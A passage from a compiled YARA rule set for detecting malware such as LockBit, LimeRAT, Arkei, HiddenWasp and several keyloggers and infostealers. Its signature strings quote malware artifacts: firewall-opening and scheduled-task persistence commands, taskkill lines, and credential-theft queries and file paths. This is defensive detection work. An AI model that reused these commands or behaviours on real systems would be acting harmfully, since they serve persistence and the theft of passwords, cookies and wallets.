		$b2 = "iptables -I INPUT -p tcp --dport 24816 -j ACCEPT"
		$b3 = "iptables -I OUTPUT -p tcp --dport 24816 -j ACCEPT"
		$b4 = "firewall-cmd --permanent --add-port 24816/tcp"
		$b5 = "magicPussyMommy"
		$c1 = "SOCKET_CREATING_ERROR SCANNER"
		$c2 = "SOCKET_CREATING_ERROR RECYCLE"
	condition:
		filesize < 10MB and ( uint32( 0 ) == 0x464c457f ) and ( ( any of ( $a* ) ) or ( all of ( $b* ) ) or ( all of ( $c* ) ) )
}

rule CRAIU_Crime_Lockbit3_Ransomware : FILE
{
	meta:
		description = "Generic LockBit detection, also catches the version used in attacks in Indonesia."
		author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro"
		id = "167788a4-a610-5770-9f51-aa4cc4d3d350"
		date = "2024-07-03"
		modified = "2024-07-03"
		reference = "https://www.bleepingcomputer.com/news/security/meet-brain-cipher-the-new-ransomware-behind-indonesia-data-center-attack/"
		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_lockbit3_ransomware.yara#L2-L32"
		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
		hash = "eb82946fa0de261e92f8f60aa878c9fef9ebb34fdababa66995403b110118b12"
		hash = "6e07da23603fbe5b26755df5b8fec19cadf1f7001b1558ea4f12e20271263417"
		logic_hash = "84efb899315379d85a03959359f89fbcb97cbb6477f1ec439380a4d15fed4f53"
		score = 75
		quality = 85
		tags = "FILE"
		version = "1.1"
	strings:
		$a1 = {C3 8BFF53 51 6A0158 0FA2F7C1000000400F95C0 84C074090FC7F0 0FC7F2 59 5B C3 }
		$a2 = {C3 6A0758 33C90FA2F7C3000004000F95C0 84C074090FC7F8 0FC7FA 59 5B C3 }
		$a3 = {C3 0F31 8BC8 C1C90D 0F31 8BD0 C1C20D 8BC1 59 5B C3 }
		$a4 = {55 8BEC 51 52 56 33C0 8B550C 8B7508 AC 33C9 B930000000 8D0C4D01000000 02F1 2AF1 33C9 B906000000 8D0C4D01000000 D3CA 03D0 90 85C0}
		$a5 = {E9 ?? ?? ?? ?? 6683F841 720C 6683F846 7706 6683E837 EB26 6683F861 720C 6683F866 7706 6683E857 EB14 6683F830 720C 6683F839 7706 6683E830 EB}
		$a6 = {5D 8BC3 5F 5E 5B 5D C20C00 90 55 8BEC 53 56 57 33C0 8B5D14 33C9 33D2 8B750C 8B7D08 85F6 }
	condition:
		( filesize < 1MB ) and ( uint16( 0 ) == 0x5a4d ) and ( 2 of them )
}

rule CRAIU_Crashstrike : FILE
{
	meta:
		description = "Crowdstrike C-00000???-*.sys files"
		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
		id = "9a5168c4-0a7f-5269-bafa-728f123a04c5"
		date = "2024-07-19"
		modified = "2024-07-19"
		reference = "https://en.wikipedia.org/wiki/July_2024_global_cyber_outages"
		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/20240719_crashstrike.yara#L2-L26"
		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
		hash = "9d001ef3206fe2f955095244e6103ad7f8f318c7c5cbd91a0dd1f33e4217fcb2"
		logic_hash = "9a8dacf9d95042851073c40f5eab2a6aff61be3a576363ffcd8c21aaec7f0b96"
		score = 75
		quality = 85
		tags = "FILE"
		version = "1.0"
	strings:
		$a1 = "000E0A000E0GHijklMNOPqRSTUVwX"
		$a2 = "AbCDEfghIjklMNoPqrstuV"
	condition:
		( filesize < 60KB ) and ( uint32( 0 ) == 0xaaaaaaaa ) and ( all of them )
}

/*
 * YARA Rule Set
 * Repository Name: DitekSHen
 * Repository: https://github.com/ditekshen/detection
 * Retrieval Date: 2026-03-15
 * Git Commit: e76c93dcdedff04076380ffc60ea54e45b313635
 * Number of Rules: 537
 * Skipped: 0 (age), 212 (quality), 5 (score), 799 (importance)
 *
 * 
 * LICENSE
 * 
 * Copyright 2021 by ditekSHen (https://github.com/ditekshen/detection).

The 2-Clause BSD License

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

 */
rule DITEKSHEN_MALWARE_Win_Isrstealer : FILE
{
	meta:
		description = "ISRStealer payload"
		author = "ditekSHen"
		id = "d6c3acdd-e881-5f97-8856-b7b60f56a1c2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L112-L128"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5dd030ab8122b5dd432168647c7a3465cb3593a326f68b4863a91d16587641e5"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.ISRStealer"
	strings:
		$s1 = "&password=" wide
		$s2 = "&pcname=" wide
		$s3 = "MSVBVM60.DLL" ascii
		$s4 = "MSVBVM60.DLL" wide
		$s5 = "Core Software For : Public" wide
		$s6 = "</Host>" wide
		$s7 = "</Pass>" wide
		$s8 = "/scomma" wide
	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 4000KB and 6 of them ) or all of them
}

rule DITEKSHEN_MALWARE_Win_Limerat : FILE
{
	meta:
		description = "LimeRAT payload"
		author = "ditekSHen"
		id = "a4b85cad-97a8-514c-9380-f3e8ec95a44d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L152-L168"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8ae35c5fa48773b93da0b76b238fc8dbaf19fdeb6fd81bf23842c5121d620116"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr" wide
		$s2 = "\\vboxhook.dll" fullword wide
		$s3 = "Win32_Processor.deviceid=\"CPU0\"" fullword wide
		$s4 = "select CommandLine from Win32_Process where Name='{0}'" wide
		$s5 = "Minning..." fullword wide
		$s6 = "Regasm.exe" fullword wide
		$s7 = "Flood!" fullword wide
		$s8 = "Rans-Status" fullword wide
		$s9 = "cmd.exe /c ping 0" wide
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Arkei : FILE
{
	meta:
		description = "Detect Arkei infostealer variants"
		author = "ditekSHen"
		id = "d32a27bf-abb9-553c-9913-d675c340a5c5"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L210-L226"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8a79bcc6ac94900c8a8913b2e81424bf900bbac416f44a91db6f208f23980155"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide
		$s2 = "/c taskkill /im " fullword ascii
		$s3 = "card_number_encrypted FROM credit_cards" ascii
		$s4 = "\\wallet.dat" ascii
		$s5 = "Arkei/" wide
		$s6 = "files\\passwords." ascii wide
		$s7 = "files\\cc_" ascii wide
		$s8 = "files\\autofill_" ascii wide
		$s9 = "files\\cookies_" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Firebirdrat : FILE
{
	meta:
		description = "Firebird/Hive RAT payload"
		author = "ditekSHen"
		id = "456ae70e-8004-5fb0-a4fd-ce7c0f4704f9"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L316-L339"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1c24e924171db1b99a3b03764f4551b6f4b6b1c9c6147b49dbc0651e85e9040c"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Firebird-HiveRAT"
	strings:
		$id1 = "Firebird Remote Administration Tool" fullword wide
		$id2 = "Welcome to Firebird! Your system is currently being monitored" wide
		$id3 = "Hive Remote Administration Tool" fullword wide
		$id4 = "Welcome to Hive! Your system is currently being monitored" wide
		$s1 = "REPLACETHESEKEYSTROKES" fullword wide
		$s2 = "_ENABLE_PROFILING" fullword wide
		$s3 = ": KeylogSubject" wide
		$s4 = "Firebird.CommandHandler" fullword wide
		$s5 = "webcamenabled" fullword ascii
		$s6 = "screenlogs" fullword ascii
		$s7 = "encryptedconnection" fullword ascii
		$s8 = "monitoron" fullword ascii
		$s9 = "screenGrab" fullword ascii
		$s10 = "TCP_TABLE_OWNER_PID_ALL" fullword ascii
		$s11 = "de4fuckyou" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $id* ) or 7 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Phoenix : FILE
{
	meta:
		description = "Phoenix/404KeyLogger keylogger payload"
		author = "ditekSHen"
		id = "62101881-9b5e-586d-8e1b-184787f25d6b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L341-L367"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b2c2a4ffc36d708a121853fb0268e6dc85b3fe2cd58e05c8124cbef18e03ec0b"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Phoenix-Keylogger"
	strings:
		$s1 = "FirefoxPassReader" fullword ascii
		$s2 = "StartKeylogger" fullword ascii
		$s3 = "CRYPTPROTECT_" ascii
		$s4 = "Chrome_Killer" fullword ascii
		$s5 = "Clipboardlog.txt" fullword wide
		$s6 = "Leyboardlogs.txt" fullword wide
		$s7 = "Persistence'" wide
		$s8 = "set_HKB" fullword ascii
		$s9 = "loloa" fullword ascii
		$s10 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)" fullword wide
		$m1 = "- Screenshot -------|" ascii wide
		$m2 = "- Clipboard -------|" ascii wide
		$m3 = "- Logs -------|" ascii wide
		$m4 = "- Passwords -------|" ascii wide
		$m5 = "PSWD" ascii wide
		$m6 = "Screenshot |" ascii wide
		$m7 = "Logs |" ascii wide
	condition:
		( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) or 3 of ( $m* ) ) or 9 of them
}

rule DITEKSHEN_MALWARE_Win_Backnet : FILE
{
	meta:
		description = "BackNet payload"
		author = "ditekSHen"
		id = "c53ef72f-4957-5ddb-b096-dcdb69cf900d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L369-L386"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c276f2b809caad680455fc4ca0a021887d4ff2c9114f05737542a1d3c5cca848"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.BackNet"
	strings:
		$s1 = "Slave.Commands." fullword ascii
		$s2 = "StartKeylogger" fullword ascii
		$s3 = "StopKeylogger" fullword ascii
		$s4 = "KeyLoggerCommand" fullword ascii
		$s5 = "get_keyLoggerManager" fullword ascii
		$s6 = "get_IgnoreMutex" fullword ascii
		$s7 = "ListProcesses" fullword ascii
		$s8 = "downloadurl" fullword wide
		$pdb = "\\BackNet-master\\Slave\\obj\\Release\\Slave.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( $pdb or all of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Acridrain : FILE
{
	meta:
		description = "AcidRain stealer payload"
		author = "ditekSHen"
		id = "9890c9e0-ce53-5f08-9077-c73a9e4ba29c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L388-L401"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "11884073f4bf466503b07f297ae7fad188f79df148fcc7ca48827c7dbd07e211"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = { 43 6f 6f 6b 69 65 73 (5c|2e) }
		$s2 = { 74 65 6d 70 6c 6f 67 69 ?? }
		$s3 = { 74 65 6d 70 50 ?? 68 }
		$s4 = "Connecting to hostname: %s%s%s" fullword ascii
		$s5 = "Found bundle for host %s: %p [%s]" fullword ascii
		$s6 = "encryptedUsernamencryptedPassworERROR Don't copy string" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Linux_Chachaddos : FILE
{
	meta:
		description = "ChaChaDDoS variant of XorDDoS payload"
		author = "ditekSHen"
		id = "78a5cf3a-0e84-59bd-a936-bd335647e3d0"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L403-L418"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2bf99771046650820f02a24d5bd825afeacd03d1e865b05d8563a3ef74d521fb"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "[kworker/1:1]" ascii
		$x2 = "-- LuaSocket toolkit." ascii
		$x3 = "/etc/resolv.conf" ascii
		$x4 = "\"macaddress=\" .. DEVICE_MAC .. \"&device=\" .." ascii
		$x5 = "easy_attack_dns" ascii
		$x6 = "easy_attack_udp" ascii
		$x7 = "easy_attack_syn" ascii
		$x8 = "syn_probe" ascii
	condition:
		uint16( 0 ) == 0x457f and 6 of them
}

rule DITEKSHEN_MALWARE_Multi_Exaramel : FILE
{
	meta:
		description = "Exaramel Windows/Linux backdoor payload"
		author = "ditekSHen"
		id = "014f10f3-4502-5719-93f6-4b2940f53876"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L420-L459"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e64383304bc913b07a2e63d61c81354b996c01171357005f4a28957d4d889599"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig1 = "MALWARE_Linux.Backdoor.Exaramel"
		clamav_sig2 = "MALWARE_Win.Backdoor.Exaramel"
	strings:
		$s1 = "vendor/golang_org/x/crypto/" ascii
		$s2 = "vendor/golang_org/x/net/http2" ascii
		$s3 = "vendor/golang_org/x/text/unicode" ascii
		$s4 = "vendor/golang_org/x/text/transform" ascii
		$s5 = "config.json" ascii
		$cmd1 = "App.Update" ascii
		$cmd2 = "App.Delete" ascii
		$cmd3 = "App.SetProxy" ascii
		$cmd4 = "App.SetServer" ascii
		$cmd5 = "App.SetTimeout" ascii
		$cmd6 = "IO.WriteFile" ascii
		$cmd7 = "IO.ReadFile" ascii
		$cmd8 = "OS.ShellExecute" ascii
		$cmd9 = "awk 'match($0, /(upstart|systemd|sysvinit)/){ print substr($0, RSTART, RLENGTH);exit;" ascii
		$ws1 = "/commands/@slp" wide
		$ws2 = "/commands/cmd" wide
		$ws3 = "/settings/proxy/@password" wide
		$ws4 = "/settings/servers/server[@current='true']" wide
		$ws5 = "/settings/servers/server/@current[text()='true']" wide
		$ws6 = "/settings/servers/server[text()='%s']/@current" wide
		$ws7 = "/settings/servers/server[%d]" wide
		$ws8 = "/settings/storage" wide
		$ws9 = "/settings/check" wide
		$ws10 = "/settings/interval" wide
		$ws11 = "report.txt" wide
		$ws12 = "stg%02d.cab" ascii
		$ws13 = "urlmon.dll" ascii
		$ws14 = "ReportDir" ascii
	condition:
		( uint16( 0 ) == 0x457f and ( all of ( $s* ) and 6 of ( $cmd* ) ) ) or ( uint16( 0 ) == 0x5a4d and 12 of ( $ws* ) )
}

rule DITEKSHEN_MALWARE_Linux_Hiddenwasp : FILE
{
	meta:
		description = "HiddenWasp backdoor payload"
		author = "ditekSHen"
		id = "220e5e6e-7c5c-5f70-b3eb-50d9c5ec636d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L461-L486"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a2aad022de41ba2633fc92a7dc5a5fa2efde9da2211cfc01fb2999e33365d6c9"
		score = 75
		quality = 71
		tags = "FILE"
		clamav_sig1 = "MALWARE_Linux.Trojan.HiddenWasp-ELF"
		clamav_sig2 = "MALWARE_Linux.Trojan.HiddenWasp-Script"
	strings:
		$x1 = "I_AM_HIDDEN" fullword ascii
		$x2 = "HIDE_THIS_SHELL" fullword ascii
		$x3 = "NewUploadFile" ascii
		$x4 = "fake_processname" ascii
		$x5 = "swapPayload" ascii
		$x6 = /Trojan-(Platform|Machine|Hostname|OSersion)/ fullword ascii
		$s1 = "FileOpration::GetFileData" fullword ascii
		$s2 = "FileOpration::NewUploadFile" fullword ascii
		$s3 = "Connection::writeBlock" fullword ascii
		$s4 = /hiding_(hidefile|enable_logging|hideproc|makeroot)/ fullword ascii
		$s5 = "Reverse-Port" fullword ascii
		$s6 = "hidden_services" fullword ascii
		$s7 = "check_config" fullword ascii
		$s8 = "__data_start" fullword ascii
		$s9 = /patch_(suger_lib|ld|lib)/ fullword ascii
		$s10 = "hexdump -ve '1/1 \"%%.2X\"' %s | sed \"s/%s/%s/g\" | xxd -r -p > %s.tmp"
	condition:
		uint16( 0 ) == 0x457f and ( 4 of ( $x* ) or all of ( $s* ) or ( 3 of ( $x* ) and 5 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Multi_Wellmess : FILE
{
	meta:
		description = "WellMess Windows/Linux backdoor payload"
		author = "ditekSHen"
		id = "cfa0f077-9d45-5796-b888-66fb397e74f8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L488-L510"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9cbbca609fd289d7406d9073237688d250dc68c450676b9b755509540d8f76a5"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig1 = "MALWARE_Win.Trojan.WellMess_DotNet"
		clamav_sig2 = "MALWARE_Win.Trojan.WellMess_Golang"
		clamav_sig3 = "MALWARE_Linux.Trojan.WellMess_Golang"
	strings:
		$s1 = "-----BEGIN PUBLIC KEY-----" ascii
		$s2 = "-----END PUBLIC KEY-----" ascii
		$s3 = "net/http.(*persistConn).readResponse" ascii
		$s4 = "net/http/cookiejar.(*Jar).SetCookies" ascii
		$s5 = "_/home/ubuntu/GoProject/src/bot/botlib" ascii
		$s6 = "<;head;><;title;>" ascii
		$s7 = "<;title;><;service;>" ascii
		$s8 = "http://invalidlookup" ascii
		$s9 = "<autogenerated>" ascii wide
	condition:
		( uint16( 0 ) == 0x457f or uint16( 0 ) == 0x5a4d ) and all of them
}

rule DITEKSHEN_MALWARE_Win_Konni : FILE
{
	meta:
		description = "Konni payload"
		author = "ditekSHen"
		id = "86eae9f6-60b0-5720-8528-ddbe32b6d4a6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L512-L530"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d57c51f7ede28b74395e5e0fbcc5fd9247b3353330f3e549d5abf99bbd7a1b93"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "uplog.tmp" fullword wide
		$s2 = "upfile.tmp" fullword wide
		$s3 = "%s-log-%s" fullword ascii wide
		$s4 = "%s-down" ascii wide
		$s5 = "%s-file-%s" fullword ascii wide
		$s6 = "\"rundll32.exe\" \"%s\" install" fullword wide
		$s7 = "subject=%s&data=" fullword ascii
		$s8 = "dll-x64.dll" fullword ascii
		$s9 = "dll-x32.dll" fullword ascii
		$pdb1 = "\\virus-dropper\\Release\\virus-dropper.pdb" ascii
		$pdb2 = "\\virus-init\\Release\\virus-init.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 7 of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $pdb* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Tjkeylogger : FILE
{
	meta:
		description = "TJKeylogger payload"
		author = "ditekSHen"
		id = "6aaa11b2-3734-5538-b593-f5276f3acc72"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L553-L567"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "52d98a6f5a2cfc6717b7097b4e70c1e813851222f9f06ae74be4e5703b0b0dde"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "TJKeyLogger" fullword ascii
		$s2 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii
		$s3 = "\\Passwords.txt" ascii
		$s4 = "TJKeyLogItem" fullword ascii
		$s5 = "TJKeyAsyncLog" fullword ascii
		$s6 = "FM_GETDSKLST" fullword ascii
		$s7 = "KL_GETMODE" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_W1RAT : FILE
{
	meta:
		description = "W1 RAT payload"
		author = "ditekSHen"
		id = "d5841bc0-97e7-575e-91f6-d264f507a8b5"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L569-L585"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "84b9a2e309ed9ab0fb8343d941585356d23348683073d0a37fc7194f58a43a0e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "/c /Ox /Fa\"%s/%s.asm\" /Fo\"%s/%s.obj\" \"%s/%s.%s\"" ascii
		$s2 = "this->piProcInfo.hProcess" fullword ascii
		$s3 = "index >= 0 && index < this->reg_tab->GetLen()" fullword ascii
		$s4 = "strcpy(log_font.lfFaceName,\"%s\");" fullword ascii
		$s5 = "WorkShop -- [%s]" fullword ascii
		$s6 = "HeaderFile.cpp" fullword ascii
		$s7 = "WndLog.cpp" fullword ascii
		$s8 = "assertion fail \"%s\" at file=%s line=%d" fullword ascii
		$s9 = "Stdin   pipe   creation   failed" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) ) or ( all of them )
}

rule DITEKSHEN_MALWARE_Win_Tefosteal : FILE
{
	meta:
		description = "Tefosteal payload"
		author = "ditekSHen"
		id = "56646933-3ed3-5b77-9135-993b57603490"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L653-L674"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a350863270cbe3349f271e55d66a2ebdd6406e8d122c11071de74a774eb77ebf"
		score = 75
		quality = 71
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Tefosteal"
	strings:
		$s1 = "netsh wlan show networks mode=bssid" nocase fullword wide
		$s2 = "LoginCredentialService.GetLoginCredentials$" ascii
		$s3 = "DefaultLoginCredentials.LoginEventUsrPw$" ascii
		$s4 = "SEC_E_NO_KERB_KEY" wide
		$s5 = "TList<System.Zip.TZipHeader>." ascii
		$s6 = "_Password.txt" fullword wide nocase
		$s7 = "_Cookies.txt" fullword wide nocase
		$f1 = "\\InfoPC\\BSSID.txt" wide
		$f2 = "\\Files\\Telegram\\" wide
		$f3 = "\\InfoPC\\Screenshot.png" wide
		$f4 = "\\InfoPC\\Systeminfo.txt" wide
		$f5 = "\\Steam\\config" wide
		$f6 = "\\delete.vbs" wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of ( $s* ) and 2 of ( $f* )
}

rule DITEKSHEN_MALWARE_Win_Cryptostealergo : FILE
{
	meta:
		description = "CryptoStealerGo payload"
		author = "ditekSHen"
		id = "83886aeb-af7e-564c-989a-fb7d955814e2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L676-L692"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0050be7522e7d89cb9688e63fdca11d24baa74aa858e8c19ee7b4658518536b6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"" ascii
		$s2 = "file_upload.go" ascii
		$s3 = "grequests.FileUpload" ascii
		$s4 = "runtime.newproc" ascii
		$s5 = "credit_cards" ascii
		$s6 = "zip.(*fileWriter).Write" ascii
		$s7 = "autofill_" ascii
		$s8 = "XFxVc2VyIERhdGFcXA==" ascii
		$s9 = "XFxBcHBEYXRhXFxMb2NhbFxc" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them
}

rule DITEKSHEN_MALWARE_Win_M00Nd3V : FILE
{
	meta:
		description = "M00nD3v keylogger payload"
		author = "ditekSHen"
		id = "4000f55d-e072-50b6-b6ee-72cefc0ec53f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L694-L715"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "68a0888da3b114dc895fe18a3d03b2b88d140fbf82b888f7a031b9364d01aabf"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "M00nD3v Stub" ascii wide
		$s2 = "M00nD3v{0}{1} Logs{0}{2} \\ {3}{0}{0}{4}" fullword wide
		$s3 = "Anti-Keylogger Elite" wide
		$s4 = "/C TASKKILL /F /IM" wide
		$s5 = "echo.>{0}:Zone.Identifier" fullword wide
		$s6 = "> Nul & Del \"{0}\" & start \"\" \"{1}.exe\"" wide
		$s7 = "> Nul & start \"\" \"{1}.exe\"" wide
		$s8 = "Stealer" fullword wide
		$s9 = "{0}{0}++++++++++++{1} {2}++++++++++++{0}{0}" wide
		$s10 = "{4}Application: {3}{4}URL: {0}{4}Username: {1}{4}Password: {2}{4}" wide
		$s11 = "encrypted_key\":\"(?<Key>.+?)\"" wide
		$s12 = "Botkiller" fullword ascii
		$s13 = "AVKiller" fullword ascii
		$s14 = "get_pnlPawns" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and 6 of them ) or ( 9 of them )
}

rule DITEKSHEN_MALWARE_Win_Vssdestroy : FILE
{
	meta:
		description = "VSSDestroy/Matrix ransomware payload"
